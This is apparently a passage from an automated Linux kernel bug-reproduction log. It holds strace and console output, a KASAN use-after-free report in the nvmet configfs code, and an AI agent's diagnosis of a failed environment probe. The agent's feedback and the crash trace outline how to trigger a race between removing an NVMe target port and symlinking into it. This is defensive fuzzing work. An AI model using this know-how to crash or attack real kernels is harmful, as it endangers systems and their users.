[   75.161154][   T33] audit: type=1400 audit(1787768411.351:220): avc:  denied  { mount } for  pid=5890 comm="syz-executor127" name="/" dev="configfs" ino=62 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
mount("none", "/sys/kernel/config", "configfs", 0, NULL) = -1 EBUSY (Device or resource busy)
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config/nvmet", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
mkdir("/sys/kernel/config/nvmet/ports/probe_port", 0777) = -1 EINVAL (Invalid argument)
[   75.168644][   T33] audit: type=1400 audit(1787768411.361:221): avc:  denied  { search } for  pid=5890 comm="syz-executor127" name="/" dev="configfs" ino=62 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.175456][   T33] audit: type=1400 audit(1787768411.361:222): avc:  denied  { search } for  pid=5890 comm="syz-executor127" name="/" dev="configfs" ino=62 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
write(1, "[+] configfs mounted or already busy.\n[+] nvmet subsystem found.\n[-] Failed to create probe_port: In"..., 115) = 115
[+] configfs mounted or already busy.
[+] nvmet subsystem found.
[-] Failed to create probe_port: Invalid argument
[   75.182868][   T33] audit: type=1400 audit(1787768411.361:223): avc:  denied  { search } for  pid=5890 comm="syz-executor127" name="nvmet" dev="configfs" ino=3599 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
exit_group(1)                           = ?
+++ exited with 1 +++
[   75.192024][   T33] audit: type=1400 audit(1787768411.361:224): avc:  denied  { search } for  pid=5890 comm="syz-executor127" name="ports" dev="configfs" ino=3601 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.199492][   T33] audit: type=1400 audit(1787768411.361:225): avc:  denied  { write search } for  pid=5890 comm="syz-executor127" name="ports" dev="configfs" ino=3601 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.206604][   T33] audit: type=1400 audit(1787768411.361:226): avc:  denied  { add_name } for  pid=5890 comm="syz-executor127" name="probe_port" scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.213524][   T33] audit: type=1400 audit(1787768411.361:227): avc:  denied  { create } for  pid=5890 comm="syz-executor127" name="probe_port" scontext=root:sysadm_r:sysadm_t tcontext=root:object_r:configfs_t tclass=dir permissive=1
[   76.137580][   T33] audit: type=1400 audit(1787768412.341:228): avc:  denied  { write } for  pid=5891 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   81.913225][   T10] cfg80211: failed to load regulatory.db
]

112/3 2026/08/26 18:20 agent repro-oracle
0m Model:
deep-reasoning

Results:
map[Feedback:The probe failed because `mkdir` on `/sys/kernel/config/nvmet/ports/probe_port` returned `EINVAL`. This happens because `nvmet_ports_make` requires the port name to be a valid 16-bit unsigned integer (it uses `kstrtou16(name, 0, &portid)`). Please use a numeric name like `1` for the port directory instead of `probe_port`. Once you fix this, you can proceed to create the subsystem and symlink to reproduce the race condition between `rmdir` of the port and `symlink` in its `subsystems` directory. ProbePassed:false TerminalError: TitleMatches:false]

Instruction:
You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.

=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
   that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
   meaning the codebase version is mismatched and the target code is absent.

=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
  or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.


=== PHASE 1: CAPABILITY PROBING (EVALUATION) ===
The executed program was a simple environment probe.
Use this to guide your classification and feedback:
1. If the execution was successful (all environment/subsystem probes passed and program exited with 0),
   set the field 'ProbePassed' to true and provide feedback explicitly indicating that the environment
   is ready and the agent should now proceed to generate the full reproducer in the next iteration.
2. If the probe failed (e.g., missing permissions, missing devices, or sandbox restrictions),
   set the field 'ProbePassed' to false, and explain what failed in the 'Feedback'
   field so the generator can adjust its setups.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: slab-use-after-free Read in nvmet_port_subsys_allow_link

==================================================================
BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
Read of size 8 at addr ffff88801af304c8 by task syz.2.79/6124

CPU: 1 UID: 0 PID: 6124 Comm: syz.2.79 Not tainted syzkaller #0 PREEMPT_{RT,(full)} 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
 configfs_symlink+0x59a/0x1030 fs/configfs/symlink.c:196
 vfs_symlink+0x18b/0x330 fs/namei.c:5794
 filename_symlinkat+0x1cd/0x420 fs/namei.c:5819
 __do_sys_symlinkat fs/namei.c:5839 [inline]
 __se_sys_symlinkat+0x4e/0x2b0 fs/namei.c:5834
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fcbe476e0d9
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fcbe29c6028 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
RAX: ffffffffffffffda RBX: 00007fcbe49f5fa0 RCX: 00007fcbe476e0d9
RDX: 0000200000000600 RSI: ffffffffffffff9c RDI: 00002000000005c0
RBP: 00007fcbe4805024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007fcbe49f6038 R14: 00007fcbe49f5fa0 R15: 00007fffa285bf38
 </TASK>

Allocated by task 6060:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x3da/0x6b0 mm/slub.c:5484
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 nvmet_ports_make+0xe6/0xf00 drivers/nvme/target/configfs.c:2051
 configfs_mkdir+0x4f6/0x9e0 fs/configfs/dir.c:1360
 vfs_mkdir+0x408/0x620 fs/namei.c:5410
 filename_mkdirat+0x289/0x520 fs/namei.c:5443
 __do_sys_mkdirat fs/namei.c:5464 [inline]
 __se_sys_mkdirat+0x35/0x150 fs/namei.c:5461
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 6127:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2678 [inline]
 slab_free mm/slub.c:6372 [inline]
 kfree+0x1c5/0x6d0 mm/slub.c:6687
 config_item_cleanup fs/configfs/item.c:128 [inline]
 config_item_release+0x13a/0x2d0 fs/configfs/item.c:137
 configfs_rmdir+0x885/0x950 fs/configfs/dir.c:1571
 vfs_rmdir+0x3e9/0x6b0 fs/namei.c:5515
 filename_rmdir+0x292/0x520 fs/namei.c:5572
 __do_sys_unlinkat fs/namei.c:5747 [inline]
 __se_sys_unlinkat+0x71/0x1a0 fs/namei.c:5740
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff88801af30000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 1224 bytes inside of
 freed 4096-byte region [ffff88801af30000, ffff88801af31000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1af30
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x80000000000040(head|node=0|zone=1)
page_type: f5(slab)
raw: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2040(__GFP_IO|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 5585, tgid 5585 (syz-executor), ts 106684716313
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2591/0x2600 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x230/0x5c0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3267 [inline]
 allocate_slab+0x7c/0x5e0 mm/slub.c:3382
 new_slab mm/slub.c:3428 [inline]
 refill_objects+0x2d8/0x350 mm/slub.c:7305
 refill_sheaf mm/slub.c:2805 [inline]
 __pcs_replace_empty_main+0x334/0x690 mm/slub.c:4677
 alloc_from_pcs mm/slub.c:4775 [inline]
 slab_alloc_node mm/slub.c:4907 [inline]
 __do_kmalloc_node mm/slub.c:5336 [inline]
 __kmalloc_noprof+0x54c/0x780 mm/slub.c:5362
 _kmalloc_noprof include/linux/slab.h:992 [inline]
 tomoyo_realpath_from_path+0xef/0x640 security/tomoyo/realpath.c:251
 tomoyo_get_realpath security/tomoyo/file.c:151 [inline]
 tomoyo_path_perm+0x283/0x560 security/tomoyo/file.c:827
 security_inode_getattr+0x12b/0x310 security/security.c:1895
 vfs_getattr+0x23/0x70 fs/stat.c:259
 vfs_statx_path+0x2b/0x230 fs/stat.c:299
 vfs_statx+0x12e/0x200 fs/stat.c:356
 vfs_fstatat+0x11b/0x170 fs/stat.c:373
 __do_sys_newfstatat fs/stat.c:538 [inline]
 __se_sys_newfstatat fs/stat.c:532 [inline]
 __x64_sys_newfstatat+0x151/0x200 fs/stat.c:532
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
page last free pid 5783 tgid 5783 ts 106512362313 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_frozen_pages+0xf8e/0x1070 mm/page_alloc.c:2962
 __slab_free+0x252/0x2a0 mm/slub.c:5736
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x99/0x100 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x148/0x160 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x22/0x80 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4586 [inline]
 slab_alloc_node mm/slub.c:4919 [inline]
 kmem_cache_alloc_noprof+0x35d/0x660 mm/slub.c:4933
 alloc_filename fs/namei.c:147 [inline]
 do_getname+0x2e/0x250 fs/namei.c:187
 class_filename_flags_constructor include/linux/fs.h:2587 [inline]
 do_sys_openat2+0xcc/0x200 fs/open.c:1416
 do_sys_open fs/open.c:1423 [inline]
 __do_sys_openat fs/open.c:1439 [inline]
 __se_sys_openat fs/open.c:1434 [inline]
 __x64_sys_openat+0x138/0x170 fs/open.c:1434
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff88801af30380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801af30480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                              ^
 ffff88801af30500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================

IsProbe: true
Reproduced: false
Console Output: [   70.918362][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   70.918378][   T33] audit: type=1400 audit(1787768309.547:201): avc:  denied  { transition } for  pid=5832 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.929334][   T33] audit: type=1400 audit(1787768309.547:202): avc:  denied  { noatsecure } for  pid=5832 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.936045][   T33] audit: type=1400 audit(1787768309.547:203): avc:  denied  { rlimitinh } for  pid=5832 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.942431][   T33] audit: type=1400 audit(1787768309.547:204): avc:  denied  { siginh } for  pid=5832 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   71.701600][ T1377] ieee802154 phy0 wpan0: encryption failed: -22
[   71.704648][ T1377] ieee802154 phy1 wpan1: encryption failed: -22
[   72.948247][   T33] audit: type=1400 audit(1787768311.577:205): avc:  denied  { write } for  pid=5839 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.998402][   T33] audit: type=1400 audit(1787768311.627:206): avc:  denied  { write } for  pid=5842 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:34499' (ED25519) to the list of known hosts.
[   73.542962][   T33] audit: type=1400 audit(1787768312.167:207): avc:  denied  { mounton } for  pid=5852 comm="syz-executor255" path="/sys/kernel/config" dev="configfs" ino=1112 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[+] configfs mounted or already busy.
[+] nvmet subsystem found.
[-] Failed to create probe_port: Invalid argument
[   73.553369][   T33] audit: type=1400 audit(1787768312.167:208): avc:  denied  { mount } for  pid=5852 comm="syz-executor255" name="/" dev="configfs" ino=1112 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[   73.562847][   T33] audit: type=1400 audit(1787768312.167:209): avc:  denied  { search } for  pid=5852 comm="syz-executor255" name="/" dev="configfs" ino=1112 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   73.570250][   T33] audit: type=1400 audit(1787768312.167:210): avc:  denied  { search } for  pid=5852 comm="syz-executor255" name="/" dev="configfs" ino=1112 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.964875][   T33] kauditd_printk_skb: 13 callbacks suppressed
[   75.964885][   T33] audit: type=1400 audit(1787768314.587:224): avc:  denied  { write } for  pid=5877 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   76.002016][   T33] audit: type=1400 audit(1787768314.627:225): avc:  denied  { write } for  pid=5880 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   76.487622][   T33] audit: type=1400 audit(1787768315.117:226): avc:  denied  { write } for  pid=5883 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   76.533602][   T33] audit: type=1400 audit(1787768315.157:227): avc:  denied  { write } for  pid=5886 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   76.833502][   T33] audit: type=1400 audit(1787768315.457:228): avc:  denied  { write } for  pid=5889 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   76.878210][   T33] audit: type=1400 audit(1787768315.507:229): avc:  denied  { write } for  pid=5892 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   81.943113][  T805] cfg80211: failed to load regulatory.db

Strace Output: /strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1272128031

<...>
[   69.175207][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   69.175218][   T33] audit: type=1400 audit(1787768405.371:201): avc:  denied  { transition } for  pid=5829 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.184045][   T33] audit: type=1400 audit(1787768405.371:202): avc:  denied  { noatsecure } for  pid=5829 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.191770][   T33] audit: type=1400 audit(1787768405.371:203): avc:  denied  { rlimitinh } for  pid=5829 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.198247][   T33] audit: type=1400 audit(1787768405.371:204): avc:  denied  { siginh } for  pid=5829 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   71.679961][ T1377] ieee802154 phy0 wpan0: encryption failed: -22
[   71.682423][ T1377] ieee802154 phy1 wpan1: encryption failed: -22
[   71.974857][   T33] audit: type=1400 audit(1787768408.171:205): avc:  denied  { write } for  pid=5835 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.019825][   T33] audit: type=1400 audit(1787768408.221:206): avc:  denied  { write } for  pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.652201][   T33] audit: type=1400 audit(1787768408.851:207): avc:  denied  { write } for  pid=5845 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.702657][   T33] audit: type=1400 audit(1787768408.901:208): avc:  denied  { write } for  pid=5848 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.851641][   T33] audit: type=1400 audit(1787768409.051:209): avc:  denied  { write } for  pid=5851 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.898439][   T33] audit: type=1400 audit(1787768409.101:210): avc:  denied  { write } for  pid=5854 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:47232' (ED25519) to the list of known hosts.
execve("/syz-executor1272128031", ["/syz-executor1272128031"], 0x7fff99b72ca0 /* 11 vars */) = 0
brk(NULL)                               = 0x55555cb37000
brk(0x55555cb37d80)                     = 0x55555cb37d80
arch_prctl(ARCH_SET_FS, 0x55555cb37400) = 0
set_tid_address(0x55555cb376d0)         = 5890
set_robust_list(0x55555cb376e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1272128031", 4096) = 23
getrandom("\x4b\x78\x88\x6b\x82\x79\x42\x3a", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x55555cb37d80
brk(0x55555cb58d80)                     = 0x55555cb58d80
brk(0x55555cb59000)                     = 0x55555cb59000
mprotect(0x7f10dcb33000, 20480, PROT_READ) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
[   75.151649][   T33] kauditd_printk_skb: 8 callbacks suppressed
[   75.151661][   T33] audit: type=1400 audit(1787768411.351:219): avc:  denied  { mounton } for  pid=5890 comm="syz-executor127" path="/sys/kernel/config" dev="configfs" ino=62 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.161154][   T33] audit: type=1400 audit(1787768411.351:220): avc:  denied  { mount } for  pid=5890 comm="syz-executor127" name="/" dev="configfs" ino=62 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
mount("none", "/sys/kernel/config", "configfs", 0, NULL) = -1 EBUSY (Device or resource busy)
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config/nvmet", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
mkdir("/sys/kernel/config/nvmet/ports/probe_port", 0777) = -1 EINVAL (Invalid argument)
[   75.168644][   T33] audit: type=1400 audit(1787768411.361:221): avc:  denied  { search } for  pid=5890 comm="syz-executor127" name="/" dev="configfs" ino=62 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.175456][   T33] audit: type=1400 audit(1787768411.361:222): avc:  denied  { search } for  pid=5890 comm="syz-executor127" name="/" dev="configfs" ino=62 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
write(1, "[+] configfs mounted or already busy.\n[+] nvmet subsystem found.\n[-] Failed to create probe_port: In"..., 115) = 115
[+] configfs mounted or already busy.
[+] nvmet subsystem found.
[-] Failed to create probe_port: Invalid argument
[   75.182868][   T33] audit: type=1400 audit(1787768411.361:223): avc:  denied  { search } for  pid=5890 comm="syz-executor127" name="nvmet" dev="configfs" ino=3599 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
exit_group(1)                           = ?
+++ exited with 1 +++
[   75.192024][   T33] audit: type=1400 audit(1787768411.361:224): avc:  denied  { search } for  pid=5890 comm="syz-executor127" name="ports" dev="configfs" ino=3601 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.199492][   T33] audit: type=1400 audit(1787768411.361:225): avc:  denied  { write search } for  pid=5890 comm="syz-executor127" name="ports" dev="configfs" ino=3601 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.206604][   T33] audit: type=1400 audit(1787768411.361:226): avc:  denied  { add_name } for  pid=5890 comm="syz-executor127" name="probe_port" scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.213524][   T33] audit: type=1400 audit(1787768411.361:227): avc:  denied  { create } for  pid=5890 comm="syz-executor127" name="probe_port" scontext=root:sysadm_r:sysadm_t tcontext=root:object_r:configfs_t tclass=dir permissive=1
[   76.137580][   T33] audit: type=1400 audit(1787768412.341:228): avc:  denied  { write } for  pid=5891 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   81.913225][   T10] cfg80211: failed to load regulatory.db

Crash Report: 


113/4 2026/08/26 18:20 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 13009
							output: 30
							thoughts: 138
						

Thoughts:
**My Thought Process Regarding the NVMe-oF Configfs Port Creation Failure**

My immediate concern after executing the generated program is to deeply analyze the observed results. The program itself was a rather straightforward probe, designed solely to ascertain our ability to establish a configfs port specifically for NVMe-oF (NVMe over Fabrics). This isn't about complex functionality at this stage, but rather about confirming the fundamental infrastructure setup.

Upon reviewing the output, I see a clear indication of failure: `[-] Failed to create probe_port: Invalid argument`. This is quite explicit, and the accompanying `strace` output corroborates this, showing the exact system call that failed: `mkdir("/sys/kernel/config/nvmet/ports/probe_port", 0777) = -1 EINVAL (Invalid argument)`.

The crux of my current thinking revolves around this `EINVAL` error. Why would a seemingly standard `mkdir` operation, attempting to create a directory within the `/sys/kernel/config/nvmet/ports` hierarchy, result in an "Invalid argument" error? This is the critical question that demands an answer.

To unravel this, my next logical step is to dive into the kernel source code. Specifically, I need to examine the implementation of `nvmet_ports_make`. This function is undoubtedly responsible for handling the creation of NVMe-oF ports within the configfs filesystem. By inspecting its logic, I'm hoping to pinpoint exactly which argument or condition is being deemed "invalid" by the kernel, leading to this `EINVAL` return. Is it a missing prerequisite, an incorrectly formatted argument being passed to an underlying kernel function, or perhaps an issue with the configfs structure itself that the `nvmet` module is trying to leverage? This is where I need to focus my investigation to understand and ultimately resolve this failure.


114/4 2026/08/26 18:20 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:nvmet_ports_make]

Results:
map[SourceCode:2041:	static struct config_group *nvmet_ports_make(struct config_group *group,
2042:			const char *name)
2043:	{
2044:		struct nvmet_port *port;
2045:		u16 portid;
2046:		u32 i;
2047:	
2048:		if (kstrtou16(name, 0, &portid))
2049:			return ERR_PTR(-EINVAL);
2050:	
2051:		port = kzalloc_flex(*port, ana_state, NVMET_MAX_ANAGRPS + 1);
2052:		if (!port)
2053:			return ERR_PTR(-ENOMEM);
2054:	
2055:		if (IS_ENABLED(CONFIG_NVME_TARGET_TCP_TLS) && nvme_keyring_id()) {
2056:			port->keyring = key_lookup(nvme_keyring_id());
2057:			if (IS_ERR(port->keyring)) {
2058:				pr_warn("NVMe keyring not available, disabling TLS\n");
2059:				port->keyring = NULL;
2060:			}
2061:		}
2062:	
2063:		for (i = 1; i <= NVMET_MAX_ANAGRPS; i++) {
2064:			if (i == NVMET_DEFAULT_ANA_GRPID)
2065:				port->ana_state[1] = NVME_ANA_OPTIMIZED;
2066:			else
2067:				port->ana_state[i] = NVME_ANA_INACCESSIBLE;
2068:		}
2069:	
2070:		list_add(&port->global_entry, &nvmet_ports_list);
2071:	
2072:		INIT_LIST_HEAD(&port->entry);
2073:		INIT_LIST_HEAD(&port->subsystems);
2074:		INIT_LIST_HEAD(&port->referrals);
2075:		port->inline_data_size = -1;	/* < 0 == let the transport choose */
2076:		port->max_queue_size = -1;	/* < 0 == let the transport choose */
2077:		port->mdts = -1;		/* < 0 == let the transport choose */
2078:	
2079:		port->disc_addr.trtype = NVMF_TRTYPE_MAX;
2080:		port->disc_addr.portid = cpu_to_le16(portid);
2081:		port->disc_addr.adrfam = NVMF_ADDR_FAMILY_MAX;
2082:		port->disc_addr.treq = NVMF_TREQ_DISABLE_SQFLOW;
2083:		config_group_init_type_name(&port->group, name, &nvmet_port_type);
2084:	
2085:		config_group_init_type_name(&port->subsys_group,
2086:				"subsystems", &nvmet_port_subsys_type);
2087:		configfs_add_default_group(&port->subsys_group, &port->group);
2088:	
2089:		config_group_init_type_name(&port->referrals_group,
2090:				"referrals", &nvmet_referrals_type);
2091:		configfs_add_default_group(&port->referrals_group, &port->group);
2092:	
2093:		config_group_init_type_name(&port->ana_groups_group,
2094:				"ana_groups", &nvmet_ana_groups_type);
2095:		configfs_add_default_group(&port->ana_groups_group, &port->group);
2096:	
